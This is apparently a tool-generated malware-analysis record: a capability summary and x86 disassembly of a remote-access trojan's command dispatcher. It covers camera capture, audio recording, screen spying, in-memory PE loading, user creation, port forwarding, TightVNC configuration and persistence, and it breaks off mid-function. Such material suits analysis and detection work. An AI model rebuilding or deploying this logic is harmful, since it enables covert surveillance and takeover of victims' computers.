Function at 0x40ff90
Capabilities:
Check if file exists
Copy file
Create process on windows
Create thread
Delete file
Get file attributes
Persist via run registry key
Schedule task via schtasks
Set environment variable
Set registry value
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435379
mov eax, dword fs:[0]
push eax
sub esp, 0x5e8
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ebx, ebx
push 2
mov esi, ecx
mov edi, 0xf
push 0x43aec4
lea ecx, [ebp - 0x54c]
mov dword [ebp - 0x56c], eax
mov dword [ebp - 0x538], edi
mov dword [ebp - 0x53c], ebx
mov byte [ebp - 0x54c], bl
call fcn.00417270
mov dword [ebp - 4], ebx
mov eax, esi
mov dword [ebp - 0x500], edi
mov dword [ebp - 0x504], ebx
mov byte [ebp - 0x514], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410011
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x514]
call fcn.00417270
lea ecx, [ebp - 0x54c]
push ecx
lea edx, [ebp - 0x514]
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 1
call fcn.004060a0
add esp, 4
mov ebx, 0x10
cmp dword [ebp - 0x500], ebx
jb 0x410062
mov edx, dword [ebp - 0x514]
push edx
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 0x500], edi
mov dword [ebp - 0x504], 0
mov byte [ebp - 0x514], 0
mov byte [ebp - 4], 4
cmp dword [ebp - 0x538], ebx
jb 0x410094
mov eax, dword [ebp - 0x54c]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 0x538], edi
mov dword [ebp - 0x53c], 0
mov byte [ebp - 0x54c], 0
test esi, esi
je 0x4100b8
push esi
call fcn.0041ba30
add esp, 4
mov eax, dword [ebp - 0x57c]
cmp dword [eax + 0x14], ebx
jb 0x4100c5
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, str._ActiveDos
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4100f5
test dl, dl
je 0x4100ef
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4100f5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4100d3
xor edi, edi
xor eax, eax
jmp 0x4100fc
sbb eax, eax
sbb eax, 0xffffffff
xor edi, edi
cmp eax, edi
jne 0x410114
mov ecx, dword [ebp - 0x56c]
push ecx
call fcn.00406730
add esp, 4
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
cmp dword [eax + 0x14], ebx
jb 0x410121
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, str._RegManage
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410150
test dl, dl
je 0x41014c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410150
add eax, 2
add ecx, 2
test dl, dl
jne 0x410130
xor eax, eax
jmp 0x410155
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x410bce
mov eax, dword [ebp - 0x57c]
cmp dword [eax + 0x14], ebx
jb 0x41016a
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, str._AddUser
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410198
test dl, dl
je 0x410194
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410198
add eax, 2
add ecx, 2
test dl, dl
jne 0x410178
xor eax, eax
jmp 0x41019d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410237
add eax, 0x1c
cmp dword [eax + 0x14], ebx
jb 0x4101b5
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, 0x43aa5c
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4101e3
test dl, dl
je 0x4101df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4101e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x4101c3
xor eax, eax
jmp 0x4101e8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x54
cmp dword [eax + 0x14], ebx
jb 0x410200
mov eax, dword [eax]
push eax
call fcn.004305ff
mov esi, eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
add esp, 4
cmp dword [eax + 0x14], ebx
jb 0x41021b
mov eax, dword [eax]
push eax
call fcn.004305ff
mov edx, dword [ebp - 0x56c]
push esi
push eax
push edx
call fcn.0040fe20
add esp, 0x10
jmp 0x410bce
cmp dword [eax + 0x14], ebx
jb 0x41023e
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, str._PEMemoryLoadOnSelf
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410270
test dl, dl
je 0x41026c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410270
add eax, 2
add ecx, 2
test dl, dl
jne 0x410250
xor eax, eax
jmp 0x410275
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x41033c
lea eax, [ebp - 0x56c]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
cmp dword [eax + 0x14], ebx
jb 0x410299
mov eax, dword [eax]
push eax
call fcn.004305ff
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
add esp, 4
cmp dword [eax + 0x14], ebx
jb 0x4102b8
mov eax, dword [eax]
push eax
call fcn.004305ff
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x54
add esp, 4
cmp dword [eax + 0x14], ebx
jb 0x4102d7
mov eax, dword [eax]
push eax
call fcn.004305ff
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x70
add esp, 4
cmp dword [eax + 0x14], ebx
jb 0x4102f6
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
push edi
push edi
lea ecx, [ebp - 0x5a0]
push ecx
push 0x40ef10
push edi
push edi
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x410bce
push 1
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
cmp dword [eax + 0x14], ebx
jb 0x410349
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, str._PEMemoryLoadOnNewProcess
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410377
test dl, dl
je 0x410373
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410377
add eax, 2
add ecx, 2
test dl, dl
jne 0x410357
xor eax, eax
jmp 0x41037c
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410718
push 1
lea edx, [ebp - 0x580]
add eax, 0x38
push edx
push eax
xor eax, eax
mov byte [ebp - 0x580], 0x2c
call fcn.00416200
mov ebx, eax
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov edi, 0x10
cmp dword [eax + 0x14], edi
jb 0x4103bc
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, 0x43aa5c
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4103f0
test dl, dl
je 0x4103ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4103f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4103d0
xor eax, eax
jmp 0x4103f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410500
cmp ebx, 0xffffffff
je 0x4104eb
mov edx, dword [ebp - 0x57c]
add edx, 0x38
push 0xffffffffffffffff
lea ecx, [ebx + 1]
lea esi, [ebp - 0x4f8]
call fcn.00414650
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x4e8]
inc eax
push eax
call fcn.0041a4ce
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x4f8]
cmp dword [ebp - 0x4e4], edi
jae 0x410449
lea eax, [ebp - 0x4f8]
mov edx, esi
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410450
push esi
push 0x43c3f4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x4104c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__environment_variable_fs_is_failed_set___lu__n
lea ecx, [ebp - 0x4dc]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [ebp - 0x4dc]
push edx
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4104a7
push eax
mov eax, dword [ebp - 0x56c]
sub ecx, edi
push eax
mov edi, ecx
call fcn.00412810
add esp, 8
push esi
call fcn.0041bf51
mov edx, dword [ebp - 0x57c]
add esp, 4
add edx, 0x38
push ebx
xor ecx, ecx
lea esi, [ebp - 0x530]
call fcn.00414650
mov byte [ebp - 4], 6
jmp 0x410626
push 0x43c42c
push 0x43c3f4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x410651
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, 0x43ac7c
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410533
test cl, cl
je 0x41052f
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410533
add eax, 2
add esi, 2
test cl, cl
jne 0x410513
xor eax, eax
jmp 0x410538
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x410651
cmp ebx, 0xffffffff
je 0x410651
mov edx, dword [ebp - 0x57c]
add edx, 0x38
push 0xffffffffffffffff
lea ecx, [ebx + 1]
lea esi, [ebp - 0x4f8]
call fcn.00414650
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x4e8]
inc ecx
push ecx
call fcn.0041a4ce
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x4f8]
cmp dword [ebp - 0x4e4], edi
jae 0x41058c
lea eax, [ebp - 0x4f8]
mov edx, esi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410590
push esi
push 0x43c3f4
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x410602
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._x__environment_variable_fs_is_failed_set___lu__n
lea edx, [ebp - 0x4dc]
push 0x400
push edx
call fcn.0041d516
push 0x43a980
lea eax, [ebp - 0x4dc]
push eax
push 0x43a9a0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4105e7
mov edx, dword [ebp - 0x56c]
sub ecx, edi
push eax
push edx
mov edi, ecx
call fcn.00412810
add esp, 8
push esi
call fcn.0041bf51
mov edx, dword [ebp - 0x57c]
add esp, 4
add edx, 0x38
push ebx
xor ecx, ecx
lea esi, [ebp - 0x530]
call fcn.00414650
mov byte [ebp - 4], 8
mov esi, dword [ebp - 0x57c]
mov edi, eax
add esi, 0x38
call fcn.00415a00
lea ecx, [ebp - 0x530]
call fcn.00414500
lea ecx, [ebp - 0x4f8]
call fcn.00414500
mov edi, 0x10
lea eax, [ebp - 0x56c]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
cmp dword [eax + 0x14], edi
jb 0x41066d
mov eax, dword [eax]
push eax
call fcn.004305ff
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
add esp, 4
cmp dword [eax + 0x14], edi
jb 0x41068c
mov eax, dword [eax]
push eax
call fcn.004305ff
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x54
add esp, 4
cmp dword [eax + 0x14], edi
jb 0x4106ab
mov eax, dword [eax]
push eax
call fcn.004305ff
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x70
add esp, 4
cmp dword [eax + 0x14], edi
jb 0x4106ca
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
push 0
push 0
lea ecx, [ebp - 0x5a0]
push ecx
push 0x40ef10
push 0
push 0
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x410bce
push 1
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x410bce
cmp dword [eax + 0x14], ebx
jb 0x41071f
mov eax, dword [eax]
push eax
call fcn.004305ff
add esp, 4
mov ecx, str._CameraCapture
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410750
test dl, dl
je 0x41074c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410750
add eax, 2
add ecx, 2
test dl, dl
jne 0x410730
xor eax, eax
jmp 0x410755
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410849
add eax, 0x1c
mov esi, str.start
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410790
test cl, cl
je 0x41078c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410790
add eax, 2
add esi, 2
test cl, cl
jne 0x410770
xor eax, eax
jmp 0x410795
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4107f9
cmp byte [0x45f413], 0
jne 0x410bce
mov eax, dword [ebp - 0x57c]
lea edx, [ebp - 0x56c]
add eax, 0x38
mov dword [ebp - 0x4e8], edx
call fcn.004063a0
mov dword [ebp - 0x4e4], eax
lea eax, [ebp - 0x588]
push eax
push edi
lea ecx, [ebp - 0x4e8]
push ecx
push 0x40e960
push edi
push edi
mov dword [ebp - 0x4e0], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, str.stop
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410830
test cl, cl
je 0x41082c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410830
add eax, 2
add esi, 2
test cl, cl
jne 0x410810
xor eax, eax
jmp 0x410835
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
mov byte [0x45f413], 0
jmp 0x410bce
mov esi, str._Record
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410873
test cl, cl
je 0x41086f
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410873
add eax, 2
add esi, 2
test cl, cl
jne 0x410853
xor eax, eax
jmp 0x410878
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410969
add eax, 0x1c
mov esi, str.start
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4108b3
test cl, cl
je 0x4108af
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4108b3
add eax, 2
add esi, 2
test cl, cl
jne 0x410893
xor eax, eax
jmp 0x4108b8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x41091c
cmp byte [0x45f412], 0
jne 0x410bce
mov eax, dword [ebp - 0x57c]
lea edx, [ebp - 0x56c]
add eax, 0x38
mov dword [ebp - 0x4e8], edx
call fcn.004063a0
mov dword [ebp - 0x4e4], eax
lea eax, [ebp - 0x588]
push eax
push edi
lea ecx, [ebp - 0x4e8]
push ecx
push 0x40e470
push edi
push edi
mov dword [ebp - 0x4e0], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, str.stop
call fcn.004063a0
nop
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410950
test cl, cl
je 0x41094c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410950
add eax, 2
add esi, 2
test cl, cl
jne 0x410930
xor eax, eax
jmp 0x410955
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
mov byte [0x45f412], 0
jmp 0x410bce
mov esi, str._GetFileList
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410993
test cl, cl
je 0x41098f
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410993
add eax, 2
add esi, 2
test cl, cl
jne 0x410973
xor eax, eax
jmp 0x410998
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410a0d
lea edx, [ebp - 0x56c]
add eax, 0x1c
mov dword [ebp - 0x4ec], edx
call fcn.004063a0
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
call fcn.004063a0
mov dword [ebp - 0x4e4], eax
lea eax, [ebp - 0x588]
push eax
push edi
lea ecx, [ebp - 0x4ec]
push ecx
push 0x40e100
push edi
push edi
mov dword [ebp - 0x4e0], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 1
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x410bce
mov esi, str._HunterInfo
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410a37
test cl, cl
je 0x410a33
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410a37
add eax, 2
add esi, 2
test cl, cl
jne 0x410a17
xor eax, eax
jmp 0x410a3c
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410a61
mov eax, dword [ebp - 0x56c]
lea edx, [ebp - 0x588]
push edx
push edi
push eax
push 0x411f40
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._Online
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410a91
test cl, cl
je 0x410a8d
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410a91
add eax, 2
add esi, 2
test cl, cl
jne 0x410a71
xor eax, eax
jmp 0x410a96
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410aae
mov ecx, dword [ebp - 0x56c]
push ecx
call fcn.0040d220
add esp, 4
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._PortTran
call fcn.004063a0
mov edi, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410ae0
test cl, cl
je 0x410adc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410ae0
add eax, 2
add esi, 2
test cl, cl
jne 0x410ac0
xor eax, eax
jmp 0x410ae5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bf5
push 0x43ace4
lea ecx, [ebp - 0x530]
call fcn.004144c0
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
call fcn.004063a0
push eax
lea ecx, [ebp - 0x568]
call fcn.004144c0
lea edx, [ebp - 0x530]
push edx
lea edx, [ebp - 0x568]
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0xa
call fcn.004060a0
add esp, 4
lea ecx, [ebp - 0x568]
call fcn.00414500
lea ecx, [ebp - 0x530]
call fcn.00414500
lea eax, [ebp - 0x56c]
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x4ec]
call fcn.004063a0
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x4ec]
add eax, 0x1c
call fcn.004063a0
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x4ec]
add eax, 0x38
call fcn.004063a0
push edi
push edi
lea ecx, [ebp - 0x59c]
push ecx
push 0x40c8a0
push edi
push edi
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x410bc3
push 1
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
lea ebx, [ebp - 0x4ec]
call fcn.00416790
lea ebx, [ebp - 0x57c]
call fcn.00416790
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x57c]
mov esi, str._PE64Loader
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410c25
test cl, cl
je 0x410c21
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410c25
add eax, 2
add esi, 2
test cl, cl
jne 0x410c05
xor eax, eax
jmp 0x410c2a
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410c98
lea edx, [ebp - 0x56c]
add eax, 0x1c
mov dword [ebp - 0x4ec], edx
call fcn.004063a0
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
call fcn.004063a0
push edi
push edi
mov dword [ebp - 0x4e4], eax
lea eax, [ebp - 0x4ec]
push eax
push 0x40bd50
push edi
push edi
mov dword [ebp - 0x4e0], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jne 0x411632
push 0x43c494
call fcn.0041cb2c
add esp, 4
jmp 0x410bce
mov esi, str._FileExist
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410cc2
test cl, cl
je 0x410cbe
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410cc2
add eax, 2
add esi, 2
test cl, cl
jne 0x410ca2
xor eax, eax
jmp 0x410cc7
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410ced
add eax, 0x1c
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
call fcn.0040bc30
add esp, 4
jmp 0x410bce
mov esi, str._ScreenSpy
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410d17
test cl, cl
je 0x410d13
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410d17
add eax, 2
add esi, 2
test cl, cl
jne 0x410cf7
xor eax, eax
jmp 0x410d1c
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x410e7e
add eax, 0x1c
call fcn.004063a0
push eax
call fcn.0041cb2c
mov eax, dword [ebp - 0x57c]
add esp, 4
add eax, 0x1c
mov esi, str.init
call fcn.004063a0
mov edi, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410d70
test cl, cl
je 0x410d6c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410d70
add eax, 2
add esi, 2
test cl, cl
jne 0x410d50
xor eax, eax
jmp 0x410d75
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
push edi
lea edx, [ebp - 0x584]
push edx
push edi
push 2
push edi
push edi
push edi
push str.SoftwareTightVNCServer
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x410e60
mov ecx, dword [ebp - 0x584]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x5a4]
push eax
push 4
push edi
push str.GrabTransparentWindows
mov ebx, 1
push ecx
mov dword [ebp - 0x5a4], ebx
call esi
mov eax, dword [ebp - 0x584]
push 4
lea edx, [ebp - 0x5b0]
push edx
push 4
push edi
push str.ConnectToRdp
push eax
mov dword [ebp - 0x5b0], ebx
call esi
mov edx, dword [ebp - 0x584]
push 4
lea ecx, [ebp - 0x5ac]
push ecx
push 4
push edi
push str.RemoveWallpaper
push edx
mov dword [ebp - 0x5ac], edi
call esi
mov ecx, dword [ebp - 0x584]
push 4
lea eax, [ebp - 0x5a8]
push eax
push 4
push edi
push str.UseVncAuthentication
push ecx
mov dword [ebp - 0x5a8], edi
call esi
mov eax, dword [ebp - 0x584]
push 4
lea edx, [ebp - 0x588]
push edx
push 4
push edi
push str.RunControlInterface
push eax
mov dword [ebp - 0x588], edi
call esi
mov ecx, dword [ebp - 0x584]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x410bce
mov edx, dword [ebp - 0x56c]
push str._Error
push edx
mov edi, 0x19
call fcn.00412810
add esp, 8
jmp 0x410bce
mov esi, str._PEMemoryLoad
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410ea8
test cl, cl
je 0x410ea4
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410ea8
add eax, 2
add esi, 2
test cl, cl
jne 0x410e88
xor eax, eax
jmp 0x410ead
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x41100c
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:UsersPublicUpdateexplore.exe
call edi
cmp eax, 0xffffffff
je 0x410fee
test al, 0x10
jne 0x410fee
push str.C:UsersPublicUpdateexplorer
call edi
cmp eax, 0xffffffff
je 0x410ee3
test al, 0x10
je 0x410ef5
push str.C:UsersPublicUpdateexplorer
mov eax, str.C:UsersPublicUpdateexplore.exe
call fcn.00402a60
add esp, 4
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
mov esi, 0x43b90c
call fcn.004063a0
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x410f28
test cl, cl
je 0x410f24
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x410f28
add eax, 2
add esi, 2
test cl, cl
jne 0x410f08
xor eax, eax
jmp 0x410f2d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x410f49
push str.C:UsersPublicUpdatem.rar
call edi
cmp eax, 0xffffffff
je 0x410fd0
test al, 0x10
jne 0x410fd0
lea eax, [ebp - 0x56c]
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x1c
call fcn.004063a0
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x38
call fcn.004063a0
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x57c]
add eax, 0x54
call fcn.004063a0
push 0
push 0
lea ecx, [ebp - 0x59c]
push ecx
push 0x40aa60
push 0
push 0
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x410bce
push 1
push 0xbb8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x410bce
mov edx, dword [ebp - 0x56c]
push 0x43c5d0
push edx
mov edi, 0x2f
call fcn.00412810
add esp, 8
jmp 0x410bce
mov eax, dword [ebp - 0x56c]
push 0x43c580
push eax
mov edi, 0x2d
call fcn.00412810
add esp, 8
jmp 0x410bce
mov eax, dword [ebp - 0x57c]
mov esi, str._Persistence
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411040
test cl, cl
je 0x41103c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411040
add eax, 2
add esi, 2
test cl, cl
jne 0x411020
xor eax, eax
jmp 0x411045
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x4110bf
add eax, 0x1c
mov esi, str.AddTask
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x411080
test cl, cl
je 0x41107c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x411080
add eax, 2
add esi, 2
test cl, cl
jne 0x411060
xor eax, eax
jmp 0x411085
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410bce
mov ecx, dword [ebp - 0x57c]
lea eax, [ecx + 0x54]
lea esi, [ecx + 0x38]
call fcn.004063a0
mov edi, eax
mov eax, esi
call fcn.004063a0
mov ecx, dword [ebp - 0x56c]
push ecx
mov edx, edi
mov ecx, eax
call fcn.00409b40
add esp, 4
jmp 0x410bce
mov esi, str._PortMapping
call fcn.004063a0
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4110f0
test cl, cl
je 0x4110ec
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4110f0
add eax, 2
add esi, 2
test cl, cl
jne 0x4110d0
xor eax, eax
jmp 0x4110f5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
mov eax, dword [ebp - 0x57c]
jne 0x4111aa
add eax, 0x1c
call fcn.004063a0
mov ecx, str.Stop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x411130
test dl, dl
je 0x41112c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x411130
add ecx, 2
add eax, 2
test dl, dl
jne 0x411110
